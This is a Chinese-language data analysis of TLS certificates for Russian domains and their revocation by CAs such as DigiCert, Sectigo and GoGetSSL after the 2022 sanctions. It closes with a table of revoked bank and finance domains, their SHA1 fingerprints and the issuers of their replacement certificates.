我们从DNSMon系统中筛选了如下条件的证书:
1. 在最近3个月活跃的
2. 非Let's Encrypt签发的
3. 证书主体国家是俄罗斯或者证书主体的CommonName的域名以.RU或者.SU[3]结尾
4. 非自签名或者其他不被认为是安全的证书
通过以上方法,共计得到336,330个证书。
证书以及以上证书筛选条件的说明:
* 如果证书超过3个月没有活跃,我们认为这些证书所承载的网站的业务已经停止或者极度小,证书即使被吊销的影响有限。
* Let's Encrypt签发的免费证书是现在证书数据的绝对大头。不过因为Let's Encrypt签发的是DV证书,并没有提供OV或者EV证书[5](关于证书级别本文后续有简要解释,读者也可自行搜索),所以重要机构和用户目前不会使用Let's Encrypt签发的证书。
数据分析
基本数据
在 336,330个证书中:
签发的国家(证书数据中签发者的国家信息)有近30个,从下图可以看出主要集中在美,英,奥地利,比利时和拉脱维亚,占比达到了97.6%。俄罗斯自身的证书签发机构占比只有0.2%左右:
在这些所有的证书里面,涉及到的签发的机构有50+,其中top5的签发机构签发的证书占总数的95.6%。如下图所示:
在靠前的六家签发机构中,我们考察了其上游证书提供商及所属国别:
1. cPanel是一家美国的做web系统托管服务的公司,严格来说并不是CA厂商,不过它的证书是由comodo(已被如下排名第二的sectigo收购)签发的。
2. Sectigo是美国专门做证书服务的公司,也是使用范围最广的CA之一。它既是根证书机构,也是面向最终消费者的中间证书机构。
3. DigiCert是美国专业的证书服务公司。同Sectigo一样,也是使用范围最广的CA,既是根证书机构,也提供中间证书服务。
4. GlobalSign是比利时的专业证书服务公司,后来被日本GMO集团收购。同样既是根证书机构,也提供中间证书服务。
5. Zerossl是一家专门做SSL证书服务的位于奥地利的公司,不过其父公司被美国公司Idera收购,我们注意到该公司公告根据美国出口法规限制从2020年11月就不再给.ru的顶级域颁发证书了[11]。但从我们的数据来看,证书一直没有中断颁发,这其中尚不确定具体原因是什么。
6. GoGetSSL是一家专门做SSL证书服务的位于拉脱维亚的中间证书提供商。是DigiCert的白金合作伙伴和Sectigo的战略合作伙伴,在证书撤销方面本文后续可以看到它和Sectigo具有一致行动性。
如上,如果从中间证书的上游根证书所属国别来看,俄罗斯的证书签发机构所属的国家分布就变成了下图这样,即美国独自占85%,日本占12%。俄罗斯的选择余地实在很小。
在这336,330个证书中,来自俄罗斯的签发机构只有如下3个并且它们都不是根证书机构,也就是说俄罗斯并没有全球公认的根CA:
name
upstream
upstrem_country
issued certficate number
RU-Center (ЗАО Региональный Сетевой Информационный Центр)
The USERTRUST Network
US
530
Yandex LLC
Unizeto Technologies S.A.
PL
192
VTB BANK (PJSC)
GlobalSign
GB
27
证书相关小百科:根证书,中间证书
* 什么是根证书机构
根证书是内置在浏览器或者操作系统中的可信证书文件,是整个PKI系统可信上诉链条的顶点,是PKI系统的锚点。全世界只有数量较少的根证书颁发机构。比如在这里firefox列出了其使用的跟证书列表,总共只有49个根证书机构,颁发了138个根证书。windows系统,macOS系统等也类似都有自己的根证书列表。
* 什么是中间证书机构
根证书RootCA不会直接面向企业或者个人用户颁发证书。这些证书数量少,影响范围广,万一出现密钥泄漏,影响太大。所以为了保护根证书,CAs通常会颁发所谓的中间根。CA使用它的私钥对中间根签名,使它受到信任,即所谓中间CA(Intermediate CA)或者中间根。然后中间根使用中间证书的私钥签署和颁发终端用户SSL证书。这个过程可以执行多次,其中一个中间根对另一个中间根进行签名,然后CA使用该根对证书进行签名。这些链接,从根到中间到叶子,都是证书链。上面提到的俄罗斯的3个证书签发机构都是中间根。
值得提的一点是中间证书机构尽管可以签发证书,不过其在运营策略上会受控于上游RootCA。
吊销数据
通过对整体数据进行分析,我们发现:
1.
目前有265个证书被吊销,其中2022年吊销了228个。
2.
从吊销时间上来看,主要集中在2022年的0228~0307这个段时间,这段时间共吊销了172个证书,占总数的64.9%。
3.
我们查看了对应证书吊销列表文件(CRL)中对吊销证书的吊销原因,发现绝大部分(95%)都没有明确的原因。
4.
从证书级别上来看,这次撤销的证书整体比较高,EV,OV的证书占比达到了84%。
证书相关小百科:证书级别
* 目前主流的证书验证级别分为三种,分别是Domain Validated(DV), Organization Validation(OV)和Extended Validation(EV):
* DV验证是身份验证最少的SSL证书,即使是恶意程序也可以快速的轻松获取。这类证书主要用在个人网站,自媒体以及不包含个人敏感数据的网站。
* OV证书需要验证企业身份信息后颁发。OV SSL证书是当前最常见的证书类型,适用于行政、企业、科研、邮箱、论坛等各类大中型网站。
* EV顶级SSL证书,又称扩展验证型SSL证书。安全级别最高,验证审核最严格,网站部署EV SSL证书后,浏览器地址栏将变成绿色并显示企业名称。EV SSL证书一般应用于金融、银行、电商等安全需求较高的网站。
5.
这些被吊销的证书CA集中在少数几个CA上,总结情况如下:
这其中排名前4的分别是:Digicert,GlobalSign nv-sa,GoGetSSL和Sectigo。
DigiCert撤销了126个(占DigiCert签发的俄罗斯的证书总数的0.5%),占总撤销总数的47.54%,更是占了2022年之后撤销总数的55.26%左右。
6.
我们将DigiCert,Globalsign nv-sa,GoGetSSL和Sectigo以及其他的涉及的CA拆分开,统计了其在小时级时间粒度上撤销证书的数量,见下图。
从图上看,在2022-02-28之前,每个CA吊销的证书数量还比较平稳,但从2.28 18:00之后,先是Globalsign nv-sa开始吊销了18个证书,接下来从21:00开始持续到3.1, DigiCert开始了其大量的吊销,最高达到每小时38个,接下来是GoGetSSL和Sectigo后两者在时间上有一致性。
我们进一步拨开这些数据看一下,发现Globalsign nv-sa撤销的证书和其他三家CA有着显著的不同。
*
首先是证书的域名不同。Globalsign的撤销的证书的域名是新注册的域名,并且子域名有着相似的特征(都包含有owa,audodiscovery,mail,www等子域),可能是某些特定业务的域名。而其他三家撤销的则是老域名(域名列表见本文后面)。
*
Globalsing撤销的证书的域名通过搜索引擎搜索发现其并非特定或者关键行业的域名,其他三家撤销的证书的域名则是绝大多数都涉及到银行,保险等金融行业,还有一个证书涉及铁路行业。
考虑到证书吊销在时间上的集中性以及所属行业的特点,我们合理判断总数265个证书中的144个是因为对俄罗斯制裁所产生的。撤销涉及DigiCert,GoGetSSL和Sectigo三个证书签发机构。
7.
被吊销之后域名使用的新的证书
在被吊销之后,正常的业务访问会受限,比如浏览器会提示证书已经被吊销从而无法进一步访问业务。为了维持业务的正常运作,这些受影响的网站必须寻找替代的解决方案。因此我们考察了这些受影响网站是否启用了新的证书。如果启用了的话,是用的哪家,以及这个过程需要多长时间。
经过我们统计之后发现受影响的俄罗斯金融机构大致有四种选择(详细信息见下表):
* 原先有些单位本身就是中间根证书签发机构,这类单位现在使用的是自己单位签发的中间证书,其授权上游证书来自GlobalSign,因为有被浏览器承认的RootCA,所以这类证书使用起来没有问题。这类代表是俄罗斯外贸银行VTB集团。同类型的单位包括:VTB集团相关的所有域名。
* 使用Let's Encrypt签发的证书。Let's Encrypt是美国的一家免费证书提供机构,但是其不能提供OV和EV类型的证书,并且其证书的有效期也比较短。使用这类证书在某种程度上是被迫对证书安全性做了降级。这类的代表是跟保险行业较为紧密相关的sovcomins.ru,以及俄罗斯农业银行rgsbank.ru等相关的域名。
* 还有一类则从DigiCert切换到了 GlobalSign nv-sa 签发的证书。这类很好理解,弃用了DigiCert,转用了GlobalSign,业务暂时也不受影响。比如俄罗斯联邦中央银行crb.ru,以及部分rgsbank.ru的域名,open.ru的域名等.
* 还有少数金融机构比如vostbank.ru,vtbindia.com,psbinvest.ru等域名还在使用被吊销的证书,没有采取任何动作。目前访问的话,会提示证书被吊销,业务受到了影响。比如vtb印度的网站就会被chrome提示证书已经撤销,无法继续进行访问:
8.
证书切换对业务的影响
我们调查了这些受影响的域名在证书吊销之后启用新的证书之前,到底花了多长时间。从我们获取的数据来看,平均要花711分钟,也就是接近12个小时才能完成证书的切换。其中最快的用了109分钟(1.8小时),最慢的则用了1346分钟(22.4小时)。
同时我们也对比了新证书的级别和老证书的级别发现:
* 53%的网站的证书出现了降级
* 45%的网站证书级别保持不变
* 2%的网站证书级别进行了提升
被吊销证书的列表
从2022-02-28之后在2022-03-11之前吊销和俄乌危机所引发的制裁相关的证书,涉及到DigiCert,Sectigo和GoGetSSL三个证书提供商,共包含144个证书。详细的证书列表见本文最后。
签发机构的态度和俄罗斯的动作
根据目前的消息[7], Sectigo和DigiCert已经开始限制来自俄罗斯和白俄罗斯的业务。所以如果俄罗斯没有自己的证书签发机构和对应的可信RootCA的话,并且同时面对经济制裁的情况下,通用的付费方法可能也无法进行支付。所以即使目前的证书不吊销,现有证书过期之后仍然面临无证书可用的尴尬境地。
为了解决这个问题,俄罗斯推出了自己的CA:www.gosuslugi.ru [8]
但即便俄罗斯做了如此举动,仍然无法绕过一个核心问题,RootCA如果需要被广泛的用户终端/基础软件缺省内置是需要经过一系列庞杂繁琐的流程。在俄罗斯被广泛制裁的前提下,这个RootCA被外界广泛承认的可能性是0。比如从浏览器的角度来说,常见的chrome,Firefox,IE,opera等不支持此根,这个根的意义形同虚设。
值得提的一点是 www.gosuslugi.ru 自身使用的证书仍然是来自于Sectigo的签发。
目前网上流传着一份据说是俄官方的名单,要求198个重点域名使用这个CA[9]。我们注意到这这个列表里面的6个域名(二级域)已经是在我们这次看到的吊销的域名里面。
基本结论
目前来看,本文得到了如下的几个结论:
1. 受影响的网站比例并不高,被撤销的证书约为俄罗斯在用证书的0.04%左右;
2. 受影响的行业主要集中在银行及金融相关的行业,可能会对相关企业的客户带来一定程度的混乱,尤其是尚未部署新证书的业务;
3. 证书的主要撤销者是DigiCert,接下来是Sectigo和GoGetSSL。
参考资料
1. https://pastebin.com/DLbmYahS
2. https://www.icann.org/en/system/files/correspondence/marby-to-fedorov-02mar22-en.pdf
3. https://www.iana.org/domains/root/db/su.html
4. https://thehackernews.com/2020/09/ssl-tls-certificate-validity-398.html
5. https://letsencrypt.org/docs/faq/
6. https://en.wikipedia.org/wiki/Certificate_authority
7. https://www.gogetssl.com/news/27.html
8. https://www.gosuslugi.ru/tls
9. https://www.documentcloud.org/documents/21408455-tls_list2?responsive=1&title=1
10. https://www.bleepingcomputer.com/news/security/russia-creates-its-own-tls-certificate-authority-to-bypass-sanctions/
11. https://help.zerossl.com/hc/en-us/articles/360060119833-Restricted-Countries
证书吊销列表
revoke_time
subject_CommonName
sha1
issuer_O
industry
new_cert_issuer
new_cert_issuer_time
gap_time
2022-02-28 21:17:23
ibank.mmbank.ru
0e2574eee86f03bad8737975c8e8c6b0cb4d86bf
DigiCert Inc
financial/bank
VTB BANK (PJSC)
2022-03-01 13:07:02
949.6
2022-02-28 21:17:43
*.bvb.by
747347ce6f5206d4abe44984beb222faf621fc5b
DigiCert Inc
financial/bank
revoke_state
None
None
2022-02-28 22:02:32
3dsp.vtb.ru
1ff80de2b0a83fadca20512c77625a38862a1701
DigiCert Inc
financial/bank
VTB BANK (PJSC)
2022-03-01 08:46:09
643.6
2022-02-28 22:06:28
3dsp2.vtb.ru
95af9277b6ed216dc0734cd1e2c79253dc158c18
DigiCert Inc
financial/bank
VTB BANK (PJSC)
2022-03-01 08:46:15
639.8
2022-02-28 22:06:38
*.vtbf.ru
11aa6e2bf223fcc4aa83ef40fc40c563d89fca1a
DigiCert Inc
financial/bank
GlobalSign nv-sa
2022-03-09 08:22:51
616.2
2022-02-28 22:08:33
*.customscard.ru
db4a27987a5cedfcbf4cd78144a74e2980061d00
DigiCert Inc
financial/bank
Let's Encrypt
2022-03-01 07:56:57
588.4
2022-02-28 22:10:57
online.customscard.ru
82aa023ce89f3ea2406e3721dc77ecc829445537
DigiCert Inc
financial/bank
ZeroSSL
2022-03-01 00:00:00
109.0
2022-02-28 22:55:15
*.cbr.ru
23280fa352673271c377dec3041dee535095eb19
DigiCert Inc
financial/bank
GlobalSign nv-sa
2022-03-01 10:16:07
680.9
2022-02-28 22:55:30
*.cbr.ru
7aafcfc6c359f1184b686a2f57d5100f7280ede5
DigiCert Inc
financial/bank
GlobalSign nv-sa
2022-03-01 10:16:07
680.6
2022-02-28 23:02:21
rgsbank.ru
f9756126c514426771c1ee2280fcc670659d158d
DigiCert Inc
financial/bank
Let's Encrypt
2022-03-10 11:37:45
755.4
2022-02-28 23:08:44
open.ru
c2b40abb6e79744796d65887cc782f3e6aa4310b
DigiCert Inc
financial/bank
GlobalSign nv-sa
2022-03-04 14:37:19
928.6
2022-03-01 00:12:35
smtp1.open.ru
905ee42c2722e5e1659e8896f656e52b2e62e622
DigiCert Inc
financial/bank
GlobalSign nv-sa
2022-03-04 14:37:19
928.6
2022-03-01 00:13:34
mc.vtb.ru
bde9131020e014bbd71d7048ba2fe2ea1c7d060d
DigiCert Inc
financial/bank
VTB BANK (PJSC)
2022-03-01 11:56:07
702.5
2022-03-01 00:13:39
ipoteka.vtb.ru
37f4bc7254c469b0e8d3698aa299bc346bd9d567
DigiCert Inc
financial/bank
VTB BANK (PJSC)
2022-03-01 10:01:08
587.5
2022-03-01 00:13:49
*.vtb.ru
29ffe2f41fc0cdbac7addaf74f27804734f00662
DigiCert Inc
financial/bank
VTB BANK (PJSC)
2022-03-01 10:01:08
587.5
2022-03-01 00:14:47
mob.vtb.ru
314daea50add8da4289367b4653fccf7d0bead0f
DigiCert Inc
financial/bank
VTB BANK (PJSC)
2022-03-01 10:01:08
587.5
2022-03-01 00:15:18
dachatbot.vtb.ru
393e42d01f8bf9aa5c2986fc27bf82ab731fc7fb
DigiCert Inc
financial/bank
VTB BANK (PJSC)
2022-03-04 07:31:08
435.8
2022-03-01 00:16:40
lk.olb.ru
2b6186e5471cb85d0b2b446f4357576baf1f7630
DigiCert Inc
financial/bank
VTB BANK (PJSC)
2022-03-04 07:31:08
435.8
2022-03-01 00:16:45
dbo.vtb.ru
9d5aa3fe0690d19de24629226f23abefdf93414b
DigiCert Inc
financial/bank
VTB BANK (PJSC)
2022-03-01 11:51:07
694.4
2022-03-01 00:16:49
idemo.vtb.ru
9ef7ab4ed17786ea152f1a152e2c347c8c4abe20
DigiCert Inc
financial/bank
VTB BANK (PJSC)
2022-03-01 11:56:14
699.4
2022-03-01 00:16:54
webquik.vtb.ru
4c192c7bcb57ff52993fd71bdd688e1a55880ee9
DigiCert Inc
financial/bank
VTB BANK (PJSC)
2022-03-01 19:41:07
1164.2
2022-03-01 00:17:11
komission.vtb.ru
b9761633e595a6ca9eb651adb38601fc7871a753
DigiCert Inc
financial/bank
VTB BANK (PJSC)
2022-03-01 20:41:07
1223.9
2022-03-01 00:17:29
epa.api.vtb.ru
a0a6c1ba28fd7d70a306cace89a15230d3a14ebf
DigiCert Inc
financial/bank
VTB BANK (PJSC)
2022-03-01 20:41:07
1223.9
2022-03-01 00:17:44
mail.vtbstrana.ru
3d2b0ee0665bfeddf1ccf7194cd8968097b3d55b
DigiCert Inc
financial/bank
VTB BANK (PJSC)
2022-03-01 15:41:15
923.5
2022-03-01 00:17:48
mail.vtb.com
e8d152170944f18b74e0895fb40c43e60de1b757
DigiCert Inc
financial/bank
VTB BANK (PJSC)
2022-03-01 10:11:07
593.3
2022-03-01 00:17:55
db.vtb.ru
4af34f0f8ed1bb975b3ff3842131cc4a9c3331d3
DigiCert Inc
financial/bank
VTB BANK (PJSC)
2022-03-01 11:16:07
658.2
2022-03-01 00:18:37
mx101.vtb.ru
5a7170b3966d23634024b31fe4b373cf435cbd1b
DigiCert Inc
financial/bank
VTB BANK (PJSC)
2022-03-01 11:16:07
658.2
2022-03-01 00:18:41
mx102.vtb.ru
3df103b57e5f392c71df6f303e4777b9839596ec
DigiCert Inc
financial/bank
VTB BANK (PJSC)
2022-03-01 11:16:07
658.2
2022-03-01 00:18:46
mx201.vtb.ru
4dac367f4357fc8e85a69105d9a73e716a465e7c
DigiCert Inc
financial/bank
VTB BANK (PJSC)
2022-03-01 11:16:07
658.2
2022-03-01 00:18:57
mx202.vtb.ru
5144a93d057eafbcd85bc24e52ecef9235ea1f27
DigiCert Inc
financial/bank
VTB BANK (PJSC)
2022-03-01 11:16:07
658.2
2022-03-01 00:19:39
*.vtbbo.ru
9ec889fb87ba7df2a5d9f670253175db3f6d1f2f
DigiCert Inc
financial/bank
VTB BANK (PJSC)
2022-03-01 15:56:15
936.6
2022-03-01 00:19:55
vtbbo.ru
459c6cf187b637ddaf7315b0437adb3fc4fdf430
DigiCert Inc
financial/bank
VTB BANK (PJSC)
2022-03-01 15:56:15
936.6
2022-03-01 00:23:51
cl.vtb.ru
86d51be25b4cea05a351cbd7cf99d69b21f0a540
DigiCert Inc
financial/bank
VTB BANK (PJSC)
2022-03-01 19:26:09
1142.3
2022-03-01 00:24:10
mb-partner.bm.ru
b8b4490db23d10416b0d7b8bbdfd4cb00e375904
DigiCert Inc
financial/bank
VTB BANK (PJSC)
2022-03-02 17:21:18
1017.1
2022-03-01 00:24:42
ipoteka-online.vtb.ru
b4968f1c438b6054603f07e0f491b36ca1d5ee37
DigiCert Inc
financial/bank
VTB BANK (PJSC)
2022-03-01 09:56:11
571.5
2022-03-01 00:24:53
vtbrussia.ru
24eb584f1e1e27c86bfa12eacf9867bdd5760dff
DigiCert Inc
financial/bank
revoke_state
None
None
2022-03-01 00:25:10
Sbc-proxy.vtb.ru
0867b10049bf1e005647befb83ee1bb96e846a04
DigiCert Inc
financial/bank
VTB BANK (PJSC)
2022-03-03 08:41:14
496.1
2022-03-01 00:27:40
bo.vtb.ru
d40c4b34b82519deb6ca811ecd4eea02ddedf8e5
DigiCert Inc
financial/bank
VTB BANK (PJSC)
2022-03-01 10:41:08
613.5
2022-03-01 00:28:04
vb.vtb.ru
7a3df1ce19a88f71741a5f176ded585fe9efa688
DigiCert Inc
financial/bank
VTB BANK (PJSC)
2022-03-03 20:06:07
1178.0
2022-03-01 00:28:14
data-fusion.ru
b571526a75cc3141abd0e928e8df358914326071
DigiCert Inc
financial/bank
VTB BANK (PJSC)
Mulit_certs
None
2022-03-01 00:34:54
vtbindia.com
e7dfeda2ad46f54335b0da72aacc9dc9d02539f7
DigiCert Inc
financial/bank
revoke_state
None
None
2022-03-01 00:35:49
acquiring.vtb.ru
b5447f597aaf078a7cadae3b22d9a88658fa4a47
DigiCert Inc
financial/bank
VTB BANK (PJSC)
2022-03-16 08:16:07
460.3
2022-03-01 00:36:06
www.vtb.com
5573f1f57aedf665e6c3da73f702e8b81a8d160c
DigiCert Inc
financial/bank
VTB BANK (PJSC)
2022-03-16 08:16:07
460.3
2022-03-01 00:36:21
lk.vtb.ru
58295cf4e89be3be322474dc0028d129d94617aa
DigiCert Inc
financial/bank
VTB BANK (PJSC)
2022-03-16 08:16:07
460.3
2022-03-01 00:36:27
crm.vtb.ru
0f88adf4ab1b3599d3b60e4cc3887a44bf3078a8
DigiCert Inc
financial/bank
revoke_state
None
None
2022-03-01 00:36:52
mobi1.vtb24.ru
c2ac9dc39ea9e9c7fa276a02b379995301751f9b
DigiCert Inc
financial/bank
VTB BANK (PJSC)
2022-03-01 20:46:07
1209.2
2022-03-01 00:39:21
*.zapsibkombank.ru
8f22318ed13d74026e621796ddae0fd5491ef05e
DigiCert Inc
financial/bank
VTB BANK (PJSC)
2022-03-01 20:46:07
1209.2
2022-03-01 00:39:26
newbusiness.psbank.ru
49332bdaeb5270f425b5d6245e72806c40bc14dc
DigiCert Inc
financial/bank
GlobalSign nv-sa
2022-03-01 13:56:11
796.8
2022-03-01 00:39:41
*.exiar.ru
f9b9ea6d9e4a66ce1431d7d8a8f526a1ad67229b
DigiCert Inc
financial/bank
connect_error
None
None
2022-03-01 01:27:31
*.psbank.ru
7c68142b2cdd1630223055ddc86ae20b303a31a7
DigiCert Inc
financial/bank
timed out
None
None
2022-03-01 01:31:28
psbinvest.ru
9f1398b5b7c9692b42b693523873aa8955c7dccf
DigiCert Inc
financial/bank
revoke_state
None
None
2022-03-01 01:32:23
*.payment.ru
d7ec65409697d900acc5af14d1e49a48686f2da2
DigiCert Inc
financial/bank
connect_error
None
None
2022-03-01 01:33:04
ib.psbank.ru
9e171b1269ae6defa889bfe4aee007435688ac57
DigiCert Inc
financial/bank
DigiCert Inc
2020-03-16 00:00:00
1346.9
2022-03-01 01:33:08
*.exportcenter.ru
8fd06cdae2dee7357c2453e2747f93717165679d
DigiCert Inc
financial/bank
connect_error
None
None
2022-03-01 01:33:41
*.round.ru
f25d7f41847e1728d358df6b03072feddafc3e50
DigiCert Inc
financial/bank
GlobalSign nv-sa
2022-03-03 11:53:00
619.3
2022-03-01 01:34:16
online.rgsbank.ru
7d15927eedff53fb2255a32ac61ec4fd2a322b03
DigiCert Inc
financial/bank
GlobalSign nv-sa
2022-03-08 07:27:59
353.7
2022-03-01 01:34:21
ib.rgsbank.ru
5e20dc4665c1ff3c32ffe6a8d9b0dc73a83ba11e
DigiCert Inc
financial/bank
GlobalSign nv-sa
2022-03-03 11:57:03
622.7
2022-03-01 01:34:39
*.veb-leasing.ru
3594e8d133ee4b40dbe422f57488a31c4f0a6045
DigiCert Inc
financial/bank
connect_error
None
None
2022-03-01 01:35:15
index.vtbcapital.ru
05a89c6f02cf8d6af1b07bfe4ecedc08e28b89b3
DigiCert Inc
financial/bank
GlobalSign nv-sa
2022-02-22 11:34:09
598.9
2022-03-01 01:41:54
*.pib.ua
a8f0b2ee09757d5c1c078a8ab09d02adaf2fb90a
DigiCert Inc
financial/bank
revoke_state
None
None
2022-03-01 20:49:38
*.rdif.ru
0aa035b197adec963573943750b8722613c6f32d
DigiCert Inc
financial/bank
Let's Encrypt
2022-03-14 14:28:08
1058.5
2022-03-02 00:17:47
www.vtbcapital.ru
cd833e8b6c3bd7ba6ef82863e2d455f36115d887
DigiCert Inc
financial/bank
GlobalSign nv-sa
2022-03-01 10:48:02
630.2
2022-03-02 00:48:49
divrating.ru
ad6f7d3f3cf19b2f7d2bd8046d4b282164c11ee3
DigiCert Inc
financial/bank
revoke_state
None
None
2022-03-02 00:50:35
retail-tst.payment.ru
7382892d1cda4062c3c36fe9f7cb3aa98c91f192
DigiCert Inc
financial/bank
Promsvyazbank Public Joint-Stock Company
2022-02-09 06:27:00
336.4
2022-03-02 00:51:23
business.psbank.ru
0d7a666e2b8096bd855ee04cecaaaf7bb0bad65b
DigiCert Inc
financial/bank
GlobalSign nv-sa
2022-03-01 13:56:11
784.8
2022-03-02 00:52:44
*.fintender.ru
590a671a7b999524da77eacfe7a01f6f3a6e78b5
DigiCert Inc
financial/bank
Let's Encrypt
2022-03-01 10:25:28
572.7
2022-03-02 00:53:11
elf.sovcombank.ru
51f335b5dc8dfcedd053595ce7efdd0e1d7847a5
DigiCert Inc
financial/bank
revoke_state
None
None
2022-03-02 00:53:27
*.sovcomins.ru
96e64d494478f94437fa0ec80c654cb3540ccf3b
DigiCert Inc
financial/bank
Let's Encrypt
2022-03-01 11:28:03
634.6
2022-03-02 00:53:39
*.sovcomins.ru
5130c18cf167288432cb5e682fc75f020e6c6184
DigiCert Inc
financial/bank
Let's Encrypt
2022-03-01 11:28:03
634.4
2022-03-02 00:53:54
*.halvacard.ru
6e714e73b0e2aeaeb8570882268bc135481e27ae
DigiCert Inc
financial/bank
Let's Encrypt
2022-03-01 10:32:27
578.5
2022-03-02 00:54:52
*.sovcombank-leasing.ru
377d73b8debb805775e5d54a92a6ed9a2d59d7f7
DigiCert Inc
financial/bank
Let's Encrypt
2022-03-01 11:21:44
626.9
2022-03-02 01:00:22
*.sovcombank.ru
095949796378475fab907593078f31171426211b
DigiCert Inc
financial/bank
GlobalSign nv-sa
2022-03-02 10:35:47
575.4
2022-03-02 01:01:05
www.russiacalling.ru
4da16dec1f8f94ad4054827da076e7ed6c616ed4
DigiCert Inc
financial/bank
GlobalSign nv-sa
2022-02-18 10:57:33
596.5
2022-03-02 19:21:51
vtbcapital-pr.ru
33e79ce3e482ec54b6e64bd4b7d79bf43790b7f8
DigiCert Inc
financial/bank
Let's Encrypt
2022-03-05 09:08:48
827.0
2022-03-02 19:25:11
online.vtbcapital-pr.ru
ed33db76b7411f47914b801b9821a86dc79d661a
DigiCert Inc
financial/bank
Let's Encrypt
2022-03-03 09:12:07
826.9
2022-03-02 19:26:08
factorext.sovcomfactoring.ru
74ffb8eb4fc7d16df780e01bcb37a335fa33700d
DigiCert Inc
financial/bank
Let's Encrypt
2022-03-10 08:38:54
792.8
2022-03-02 19:28:06
sovcomfactoring.ru
e8aa6b085b51750279b4995c43f61084713616a1
DigiCert Inc
financial/bank
Let's Encrypt
2022-03-09 13:26:46
1078.7
2022-03-02 19:31:12
3ds.payment.ru
d416e7e0a63a3aee630ff53c771538bbd4757fc2
DigiCert Inc
financial/bank
ZeroSSL
2022-03-01 00:00:00
268.8
2022-03-02 19:33:43
www.upravlyaem.ru
6666da94e3dab49d944b0c8277e99fc28c3add20
DigiCert Inc
financial/bank
Let's Encrypt
2022-03-04 14:24:05
1130.4
2022-03-02 19:44:46
esg.vtbcapital-am.ru
376f20fe0b9864c93aeadf592946ff5814986a20
DigiCert Inc
financial/bank
timed out
None
None
2022-03-02 19:47:40
online.vtbcapital-am.ru
1c41fb355d03aeb0c9b8ae774d82f479376d5169
DigiCert Inc
financial/bank
timed out
None
None
2022-03-02 19:51:07
vtbcapital-am.ru
7d3d2993421c7a36e29efff424deffa9a6fc41ff
DigiCert Inc
financial/bank
timed out
None
None
2022-03-04 03:09:27
mobile.broker.vtb.ru
9c28db643025e0d19ab43f5d1d3b6529c0ffd668
DigiCert Inc
financial/bank
revoke_state
None
None
2022-03-04 03:10:37
m.komission.vtb.ru
b9581d97f46630c0b3fa1e44abc3b87a18f1fe45
DigiCert Inc
financial/bank
VTB BANK (PJSC)
2022-03-09 13:36:28
625.9
2022-03-04 03:11:17
broker.vtb.ru
bfd4503f97fc6e0cbc6ad343749c3f537df04c5e
DigiCert Inc
financial/bank
VTB BANK (PJSC)
2022-03-01 12:51:08
579.9
2022-03-04 03:21:19
nh.open.ru
5e30d7f5433f04335da04a3937a60ffca9c0f573
DigiCert Inc
financial/bank
GlobalSign nv-sa
2022-03-03 13:34:34
613.2
2022-03-04 03:21:20
drive.rgsbank.ru
b857c6db95e11a2a8fd8035830d0eaa939119821
DigiCert Inc
financial/bank
Let's Encrypt
2022-03-11 05:21:11
119.8
2022-03-04 03:21:20
flexy.open.ru
3d680c9008191aa5af8559ffd19f0b68a81dc80c
DigiCert Inc
financial/bank
GlobalSign nv-sa
2022-03-03 13:35:16
613.9
2022-03-04 03:21:20
*.sovcomlife.ru
d7ca302ca85fd90ed27e7d67bfad871e3aa5d2b1
DigiCert Inc
financial/bank
Let's Encrypt
2022-03-01 11:25:06
483.8
2022-03-04 03:21:20
wyse.open.ru
cadc73ba8feb33dda75771916cf2b06f4e69fa95
DigiCert Inc
financial/bank
GlobalSign nv-sa
2022-03-03 13:34:46
613.4
2022-03-04 03:21:21
aramis-mp.open.ru
170bc71f8654b595a54e1510dfdd9ae4c05955f5
DigiCert Inc
financial/bank
GlobalSign nv-sa
2022-03-12 08:47:50
326.5
2022-03-04 03:21:21
htfx.calc-csp.rgsbank.ru
85f1d60f52b7675a7f303ee3f98d9bf23e21def9
DigiCert Inc
financial/bank
Let's Encrypt
2022-03-05 13:21:46
600.4
2022-03-04 03:21:21
htfx.front-csp.rgsbank.ru
41586bef0b15f80b8599251eb6566c08f6239e25
DigiCert Inc
financial/bank
Let's Encrypt
2022-03-05 13:21:46
600.4
2022-03-04 03:21:21
htfx.photo-csp.rgsbank.ru
60f9ec76418a966d0c1df5df0f13bc6197d6f5c0
DigiCert Inc
financial/bank
Let's Encrypt
2022-03-05 13:21:46
600.4
2022-03-04 03:21:21
htfx.pms-csp.rgsbank.ru
52eb5e8380c18902d330200a1659c7100cd2162a
DigiCert Inc
financial/bank
Let's Encrypt
2022-03-05 13:21:46
600.4
2022-03-04 03:21:21
mx1.vtbcapital.com
5e71797ed517cb6b849b416da0a13a43b74b0e59
DigiCert Inc
financial/bank
timed out
None
None
2022-03-04 03:21:21
mx2.vtbcapital.com
48117270c174d1f612c94ea8ca2e5691d2b9bbea
DigiCert Inc
financial/bank
timed out
None
None
2022-03-04 03:21:21
mx3.vtbcapital.com
9d7864b28da25ce62c482153df67e7cc2af479ff
DigiCert Inc
financial/bank
timed out
None
None
2022-03-04 03:21:21
mx4.vtbcapital.com
4aaac0294ce0f2738e77d32ad6d06c49db49065c
DigiCert Inc
financial/bank
timed out
None
None
2022-03-04 03:21:21
private.fintender.ru
2e835225e225caa7513c58673b56b47a859531e3
DigiCert Inc
financial/bank
revoke_state
None
None
2022-03-04 03:21:22
ctx-mdm.open.ru
3a30376b94476adfbb6dca5cabe4da140863cad5
DigiCert Inc
financial/bank
GlobalSign nv-sa
2022-03-03 13:34:58
613.6
2022-03-04 03:21:22
tst-ctx-mdm.open.ru
d575be8cfa22ee2819721a0e83efbeb02b45742c
DigiCert Inc
financial/bank
revoke_state
None
None
2022-03-04 03:21:23
static.mobapp-daily.open.ru
22ad762875824d98e74ad61d245002c6c9e1aaff
DigiCert Inc
financial/bank
GlobalSign nv-sa
2022-03-12 08:47:40
326.3
2022-03-04 03:21:25
calculator.csp.rgsbank.ru
325a187de3994fac667498c2fb604353082588ab
DigiCert Inc
financial/bank
Let's Encrypt
2022-03-05 16:29:54
788.5
2022-03-04 03:21:25
front.csp.rgsbank.ru
3ce8b3fae0fa1fa747c48fac6c40bfff6f72ef6e
DigiCert Inc
financial/bank
Let's Encrypt
2022-03-05 16:29:54
788.5
2022-03-04 03:21:25
photo.csp.rgsbank.ru
d86f49038701c42c5719887fced0990ad1d27182
DigiCert Inc
financial/bank
Let's Encrypt
2022-03-05 16:29:54
788.5
2022-03-04 03:21:26
bi.rgsbank.ru
010f750d54eb3ed9b557b1f5b5a2d89758d159b0
DigiCert Inc
financial/bank
revoke_state
None
None
2022-03-04 03:21:26
*.university.cbr.ru
c41d962ddf81f3e46eb2ebc0727212d1830933d9
DigiCert Inc
financial/bank
GlobalSign nv-sa
2022-03-01 10:16:07
414.7
